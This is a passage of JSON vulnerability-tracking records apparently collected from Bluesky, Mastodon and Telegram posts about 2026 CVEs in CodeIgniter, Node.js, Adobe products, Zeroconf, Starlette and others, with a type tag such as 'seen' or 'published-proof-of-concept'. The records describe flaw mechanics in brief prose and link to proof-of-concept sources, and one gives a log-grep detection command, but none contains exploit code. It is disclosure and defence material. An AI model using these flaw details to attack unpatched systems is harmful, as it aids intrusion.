"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48487", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqulgkrrgf22", "content": "CVE-2026-48487 - Zeroconf: Unvalidated rdlength in record payload readers allows LAN-local cache corruption via crafted mDNS packet\nCVE ID : CVE-2026-48487\n \n Published : July 17, 2026, 7:17 p.m. | 21\u00a0minutes ago\n \n Description : Zeroconf is a pure Python implementation of mul...", "creation_timestamp": "2026-07-17T20:24:48.039747Z"}, {"uuid": "5c9b06fc-8afe-4177-a8a0-70a466601943", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48045", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqulyhoe352b", "content": "CVE-2026-48045 - Zeroconf: Unbounded TC-deferred queue allows LAN-local memory exhaustion via spoofed-source flood\nCVE ID : CVE-2026-48045\n \n Published : July 17, 2026, 7:17 p.m. | 21\u00a0minutes ago\n \n Description : Zeroconf is a pure Python implementation of multicast DNS servic...", "creation_timestamp": "2026-07-17T20:34:48.730978Z"}, {"uuid": "f0cdd9eb-6c20-48a3-a4df-0a49b133788f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48062", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mquojfihof2j", "content": "CVE-2026-48062 - framework\nCodeIgniter4, a popular web development framework, has a security issue that allows malicious PHP files to be uploaded. This can happen if your application allows\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#framework #codeigniter4 #composer #CVE #infosec", "creation_timestamp": "2026-07-17T21:20:04.737105Z"}, {"uuid": "776c8e7f-7af4-4740-8212-7e045c45856f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48373", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116937701968691999", "content": "A new vulnerability with increased severity was disclosed for Adobe Acrobat Reader (CVE-2026-48373) https://vuldb.com/vuln/380007", "creation_timestamp": "2026-07-17T22:35:28.165259Z"}, {"uuid": "238aa55c-fbbb-42b8-b686-ad3c2a60a6c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48933", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mquvxltxdc2s", "content": "\u300cNode.js\u300d\u306b12\u4ef6\u306e\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\n\u300cNode.js\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u3001\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670818\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u300cNode.js 26.3.1\u300d\u300c\u540c24.17.0\u300d\u300c\u540c22.23.0\u300d\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n...\n\n\u300cCVE-2026-48933\u300d\u306f\u3001\u300cWebCrypto\u300d\u306b\u304a\u3051\u308b\u5b9f\u88c5\u306e\u4e0d\u5099\u306b\u3088\u308a\u3001AES\u51e6\u7406\u306b\u304a\u3044\u3066\u6574\u6570\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u304c\u751f\u3058\u3001\u30d7\u30ed\u30bb\u30b9\u304c\u30af\u30e9\u30c3\u30b7\u30e5\u3059\u308b\u8106\u5f31\u6027\u3002\u307e\u305f\u3001Unicode\u30c9\u30c3\u30c8\u533a\u5207\u308a\u6587\u5b57\u306e\u51e6\u7406\u306b\u8d77\u56e0\u3059\u308bTLS\u306e\u30db\u30b9\u30c8\u540d\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308a\u3001\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u8a3c\u660e\u66f8\u306e\u691c\u8a3c\u304c\u56de\u907f\u3055\u308c\u308b\u300cCVE-2026-48618\u300d\u3092\u4fee\u6b63\u3057\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-07-17T23:33:18.524489Z"}, {"uuid": "595aa961-56ec-4a35-9b50-8c6164023c8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48618", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mquvxltxdc2s", "content": "\u300cNode.js\u300d\u306b12\u4ef6\u306e\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\n\u300cNode.js\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u3001\u958b\u767a\u30c1\u30fc\u30e0\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670818\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u300cNode.js 26.3.1\u300d\u300c\u540c24.17.0\u300d\u300c\u540c22.23.0\u300d\u3092\u30ea\u30ea\u30fc\u30b9\u3057\u305f\u3002\n\n...\n\n\u300cCVE-2026-48933\u300d\u306f\u3001\u300cWebCrypto\u300d\u306b\u304a\u3051\u308b\u5b9f\u88c5\u306e\u4e0d\u5099\u306b\u3088\u308a\u3001AES\u51e6\u7406\u306b\u304a\u3044\u3066\u6574\u6570\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u304c\u751f\u3058\u3001\u30d7\u30ed\u30bb\u30b9\u304c\u30af\u30e9\u30c3\u30b7\u30e5\u3059\u308b\u8106\u5f31\u6027\u3002\u307e\u305f\u3001Unicode\u30c9\u30c3\u30c8\u533a\u5207\u308a\u6587\u5b57\u306e\u51e6\u7406\u306b\u8d77\u56e0\u3059\u308bTLS\u306e\u30db\u30b9\u30c8\u540d\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308a\u3001\u30ef\u30a4\u30eb\u30c9\u30ab\u30fc\u30c9\u8a3c\u660e\u66f8\u306e\u691c\u8a3c\u304c\u56de\u907f\u3055\u308c\u308b\u300cCVE-2026-48618\u300d\u3092\u4fee\u6b63\u3057\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-07-17T23:33:18.568144Z"}, {"uuid": "2650103f-1826-452a-9ee4-396542fa008c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48049", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquwpzspbm2i", "content": "CVE-2026-48049 - @hapi/inert: Static-file confinement bypass via sibling-prefix path\nCVE ID : CVE-2026-48049\n \n Published : July 17, 2026, 10:17 p.m. | 1\u00a0hour, 21\u00a0minutes ago\n \n Description : @hapi/inert provides static file and directory handlers for hapi.js. From 4.0.0 to 7....", "creation_timestamp": "2026-07-17T23:46:56.988033Z"}, {"uuid": "c0fa453c-4211-4c69-8923-7229af3fa06c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/JkDbnMq7GUm5Q4-RPLqs1gjre-Qc5RO5_Ni4r9-mJNxKuLM", "content": "", "creation_timestamp": "2026-07-18T00:00:07.827578Z"}, {"uuid": "1f8d7dd3-daf7-42dd-8f49-4821010ee0da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/Rc0b9T17FJVJElH6QZhazeHK_5sevkoWVsl-YVplQMonaEk", "content": "", "creation_timestamp": "2026-07-18T00:00:24.281582Z"}, {"uuid": "fc273091-2cd9-47d8-b01f-0e55589d167e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/A7idi0kvh9U61x1NsB1k_Az9Nt1DpO6JPGXo4mSDE_3-qPQ", "content": "", "creation_timestamp": "2026-07-18T00:00:09.272870Z"}, {"uuid": "27a4af3f-2f1d-4494-97cb-5f947a2012dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/dpmbE18R2X3GFwkSOa6JWFFXWxZYAauVOJ1P4vKBnJxqD5U", "content": "", "creation_timestamp": "2026-07-18T00:00:11.426127Z"}, {"uuid": "97e456fb-e2c1-4319-a420-f7a0fa7a4fc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/SZb_JVBvbO1kuGQqw92fKjhjyq1os5CUZfiNMsMbLPqln6k", "content": "", "creation_timestamp": "2026-07-18T00:00:10.272193Z"}, {"uuid": "b2975b29-6d9c-4191-8f42-b1098a153641", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "Telegram/HeX7ZwgfClnVMcM_jrebWQOf2GFN8BPONV6LFlglDXbYYrI", "content": "", "creation_timestamp": "2026-07-18T00:00:26.318051Z"}, {"uuid": "bfe444fc-22b4-4cb0-a056-883df2fd5e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "published-proof-of-concept", "source": "Telegram/fq0maMhZwX_v4zf1yEJlO-15Yj_f-dvHhAV5MWzR2BX43DQ", "content": "", "creation_timestamp": "2026-07-18T00:00:10.687212Z"}, {"uuid": "2515eec1-f4de-4b36-acbc-12152a55f4d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "Telegram/p9-kuVV3i6o5oyhveGROV08VXkEXAoqv-Qhjrn4X5Lw6frU", "content": "", "creation_timestamp": "2026-07-18T00:00:25.414132Z"}, {"uuid": "3e2941d6-cd9c-42ac-a2a0-9cee11de78e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48205", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93864", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48205\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-17 16:03:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-48205: Apache Camel camel-dns dns.* header injection redirecting DNS queries to an attacker-controlled resolver (SSRF via DNS) and enabling internal-hostname reconnaissance (fixed in 4.14.8/4.18.3/4.21.0)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-18T00:00:25.441005Z"}, {"uuid": "6ceb2658-9c1e-47c4-81b2-d5e3e57626a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "Telegram/MCIVjT2wGlOhNzGxxI4_zyvBHRQPD_Tsyc6A30C1dkLHGvM", "content": "", "creation_timestamp": "2026-07-18T00:00:33.382232Z"}, {"uuid": "2fed92b4-b82c-4ac6-ab65-1ff4cc9635aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/Ptfoq-36JIr04842aRlYyiRH2eHGSh16yRBc9X59r84iQ6U", "content": "", "creation_timestamp": "2026-07-18T00:00:42.482475Z"}, {"uuid": "72aad63b-f2c1-4fae-bac2-0bb5aa33593f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48022", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquzovanfa2g", "content": "CVE-2026-48022 - @hapi/wreck: Sensitive credential headers leak across cross-port and cross-scheme redirects\nCVE ID : CVE-2026-48022\n \n Published : July 17, 2026, 10:17 p.m. | 1\u00a0hour, 21\u00a0minutes ago\n \n Description : @hapi/wreck is an HTTP client utility. Prior to 18.1.2, Wreck...", "creation_timestamp": "2026-07-18T00:39:59.899608Z"}, {"uuid": "3658c5e0-6dc7-4e2e-a9ff-38476750849c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/Go2mbO6T6ENYXGQQscwFrV9HUbwocawJhfgUeLLUItaC9Ko", "content": "", "creation_timestamp": "2026-07-18T01:00:03.702230Z"}, {"uuid": "368f8f57-4367-45b1-99a4-7a0e940f61e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "published-proof-of-concept", "source": "Telegram/ItjnC_FoWME3_hAWnOsnrDgRkC5Sqs1SuPvtN2fslLkrh58", "content": "", "creation_timestamp": "2026-07-18T01:00:03.946939Z"}, {"uuid": "6141346e-3a66-4083-9bde-2e0e738e830a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "published-proof-of-concept", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-18T01:00:04.104774Z"}, {"uuid": "7122d7b7-0040-42e8-ba5b-57bab68c4d7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-18T01:00:04.144019Z"}, {"uuid": "d106a600-43c1-4e50-95bf-93785bc458aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/LBqrNkVY4dEwnjUy7Kq7g-cCM4l6IBHTiJls5F94h7vNHE8", "content": "", "creation_timestamp": "2026-07-18T02:00:05.411955Z"}, {"uuid": "2f2afcff-78b0-46b9-914d-e2201aeeb759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "published-proof-of-concept", "source": "Telegram/nGUef-_pYu8KO-rMrIwqVNvY0EtG-w43zRe8aDF3SYsHftA", "content": "", "creation_timestamp": "2026-07-18T02:00:05.781662Z"}, {"uuid": "5bee330f-2e05-40aa-b5d6-fd6d8aff47cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48711", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3411", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 find_base_path() \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b SSHFS \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\n\nBDU:2026-12650\nCVE-2026-48711\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/libfuse/sshfs/security/advisories/GHSA-mm85-q63v-4476\nhttps://github.com/libfuse/sshfs/commit/29bb565ea6405e2dd5a0ea65fe64da117e76055e\n\n\u0414\u043b\u044f Debian GNU/Linux:\nhttps://security-tracker.debian.org/tracker/CVE-2026-48711", "creation_timestamp": "2026-08-26T17:00:03.874239Z"}, {"uuid": "0bd4bd0f-cc02-48e1-aa88-f301dee3baef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48359", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqvbvxfmgt23", "content": "\ud83d\udccc CVE-2026-48359 - Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary ... https://www.cyberhub.blog/cves/CVE-2026-48359", "creation_timestamp": "2026-07-18T03:07:07.097516Z"}, {"uuid": "5fcfd143-2ec2-47a9-a5d4-8918a0060eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48259", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqvdllcblp2m", "content": "\ud83d\udccc CVE-2026-48259 - Adobe Experience Manager is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the contex... https://www.cyberhub.blog/cves/CVE-2026-48259", "creation_timestamp": "2026-07-18T03:37:06.244202Z"}, {"uuid": "1e5dc709-ca1c-4742-8900-a72bbb4eb3e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "exploited", "source": "https://t.me/cve0day/425", "content": "CVE-2026-48172\n\nLiteSpeed User-End cPanel Plugin before 2.4.5 allows privilege escalation (possibly to root), as exploited in the wild in May 2026. Detection is best done via a command line of grep -rE \"cpaneljsonapifunc=redisAble\" /var/cpanel/logs /usr/local/cpanel/logs/ 2>/dev/null in Bash. If you get no output, you have not been hit with exploitation of the vulnerability. If there is output, we recommend you examine the IP addresses in the list, determine if they are valid IP addresses, and if not, block them. To determine damage done, examine the system logs for use by the detected IP addresses. The issue is related to mishandling of Redis enable/disable features. The recommended minimum version is 2.4.7.", "creation_timestamp": "2026-08-28T00:00:33.375406Z"}, {"uuid": "97fad8ff-7f7c-4637-88c5-c328b759298e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48062", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqvvoemqk32a", "content": "\ud83d\udd34 CVE-2026-48062 - Critical (9.8)\n\nCodeIgniter is a PHP full-stack web framework. Prior to 4.7.3, the ext_in upload validation rule ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48062/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-18T09:00:47.434271Z"}, {"uuid": "aa7644ef-f871-485a-b4a4-b3c25e351c97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48310", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqvvzojkgg2s", "content": "\ud83d\udccc CVE-2026-48310 - Adobe Experience Manager is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lea... https://www.cyberhub.blog/cves/CVE-2026-48310", "creation_timestamp": "2026-07-18T09:07:07.115165Z"}, {"uuid": "743d57cd-5061-4591-9cff-55ff5d29862a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48252", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqvxpcywb326", "content": "\ud83d\udccc CVE-2026-48252 - Adobe Experience Manager is affected by a Missing Authentication for Critical Function vulnerability that could result in a Security feature bypass. A... https://www.cyberhub.blog/cves/CVE-2026-48252", "creation_timestamp": "2026-07-18T09:37:06.623730Z"}, {"uuid": "49f35f1a-3145-4af0-a7c5-ae6e769f8e6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/431", "content": "CVE-2026-48710\n\nStarlette is a lightweight ASGI framework/toolkit. Prior to version 1.0.1, the HTTP Host request header was not validated before being used to reconstruct request.url. Because the routing algorithm relies on the raw HTTP path while request.url is rebuilt from the Host header, a malformed header could make request.url.path differ from the path that was actually requested. Middleware and endpoints that apply security restrictions based on request.url (rather than the raw scope path) could therefore be bypassed. Users should upgrade to a version greater than or equal to version 1.0.1, which validates the Host header against the grammar of RFC 9112 \u00a73.2 / RFC 3986 \u00a73.2.2 when constructing request.url and falls back to scope[\"server\"] for malformed values.", "creation_timestamp": "2026-08-28T00:00:36.941392Z"}, {"uuid": "169d277f-5583-4628-bcb7-eb8f3b461873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48395", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mu5fsfpwlc2s", "content": "\u300cAdobe Bridge\u300d\u300cAdobe Format Plugins\u300d\u306b\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u3092\u516c\u958b\n\nAdobe\u306f\u3001\u300cAdobe Bridge\u300d\u304a\u3088\u3073\u300cAdobe Format Plugins\u300d\u306b\u300c\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u300d\u3068\u3055\u308c\u308b\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3053\u3068\u3092\u53d7\u3051\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u516c\u958b\u3057\u305f\u3002\n\n...\n\n\u300cAdobe Bridge\u300d\u3067\u306f\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u691c\u7d22\u30d1\u30b9\u306b\u8d77\u56e0\u3059\u308b\u300cCVE-2026-48395\u300d\u300cCVE-2026-48391\u300d\u3084\u3001\u8a8d\u53ef\u51e6\u7406\u306b\u554f\u984c\u304c\u3042\u308b\u300cCVE-2026-48396\u300d\u300cCVE-2026-48390\u300d\u306a\u30698\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3057\u305f\u3002\n\n\u3053\u306e\u307b\u304b\u3001\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u306e\u8106\u5f31\u6027\u300cCVE-2...", "creation_timestamp": "2026-08-28T12:53:35.929165Z"}, {"uuid": "644e079b-c528-4d84-988d-8e767ae0cecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48373", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqwa5ft6db2d", "content": "CVE-2026-48373 - Heap Buffer Overflow in Acrobat. Arbitrary code execution via malicious file. CVSS 7.8. No patch yet. Avoid opening untrusted PDFs. #CVE #infosec #Acrobat\n\nhttps://www.valtersit.com/cve/CVE-2026-48373/", "creation_timestamp": "2026-07-18T12:08:10.213457Z"}, {"uuid": "b35d61f6-8510-4684-aeed-5820a22f1e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48373", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116940898772874059", "content": "CVE-2026-48373 - Heap Buffer Overflow in Acrobat. Arbitrary code execution via malicious file. CVSS 7.8. No patch yet. Avoid opening untrusted PDFs. #CVE #infosec #Acrobat\nhttps://www.valtersit.com/cve/CVE-2026-48373/", "creation_timestamp": "2026-07-18T12:08:28.036953Z"}, {"uuid": "742fa4b2-3517-40b4-bd05-b064dfe023ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "Telegram/ibPzm16gF0sjZFLJaVULBcK_v0_qnzuuiiBsudPYi66KUg", "content": "", "creation_timestamp": "2026-07-18T13:00:03.996269Z"}, {"uuid": "d1816818-0fa7-4012-b9aa-2c76c0658118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "Telegram/swSSD42LW-LWz-YbPtxhrdQ-mAC6f4Ds72enPFdAfgZsLQ", "content": "", "creation_timestamp": "2026-07-18T13:00:04.308817Z"}, {"uuid": "4f7514f2-9e6a-4cea-a026-50c17d62a32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48062", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqwha4guu32t", "content": "CVE-2026-48062 - Unpatched Code Execution in CodeIgniter. MIME validation bypass allows PHP file upload with GIF content. CVSS 9.8. Update to 4.7.3 immediately. #CVE #CodeIgniter #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48062/", "creation_timestamp": "2026-07-18T14:14:56.220121Z"}, {"uuid": "acc8dca6-6c5a-4cde-8962-b870cf2fd48c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48062", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116941397090424685", "content": "CVE-2026-48062 - Unpatched Code Execution in CodeIgniter. MIME validation bypass allows PHP file upload with GIF content. CVSS 9.8. Update to 4.7.3 immediately. #CVE #CodeIgniter #infosec\nhttps://www.valtersit.com/cve/CVE-2026-48062/", "creation_timestamp": "2026-07-18T14:15:11.480005Z"}, {"uuid": "3e7021cc-286c-4e26-ae9c-b63aa4a8f422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48373", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqwn55knrp2j", "content": "\ud83d\udfe0 CVE-2026-48373 - High (7.8)\n\nAcrobat Reader is affected by a Heap-based Buffer Overflow vulnerability that 